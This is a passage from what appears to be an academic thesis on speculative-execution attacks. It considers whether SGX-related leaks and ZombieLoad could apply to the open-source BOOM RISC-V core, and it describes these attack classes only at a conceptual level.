tive execution concerning the enclave memory (Intel SGX, for instance). Although
BOOM does not provide enclave defenses like SGX, there is a possibility that fu-
ture work may find more speculative reads from safeguarded areas (privileged kernel

memory regions) [54].

e ZombieLoad: This attack exploits microarchitectural buffers, such as the Line Fill
Buffer (LFB), to leak data across security boundaries through speculative execution.
However, BOOM does not implement an LFB in the same way as commercial x86

processors, which significantly limits the feasibility of the attack, ideed, unlike Intel
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processors, where unprivileged instructions can trigger speculative loads from these
buffers, BOOM’s memory access pipeline does not expose a comparable speculative
data leakage path. |46]

Carrying out these attacks on BOOM (or any analogous RISC-V core) would deepen
the understanding of the speculative execution problem in open-source designs and offer

new perspectives on possible solutions.
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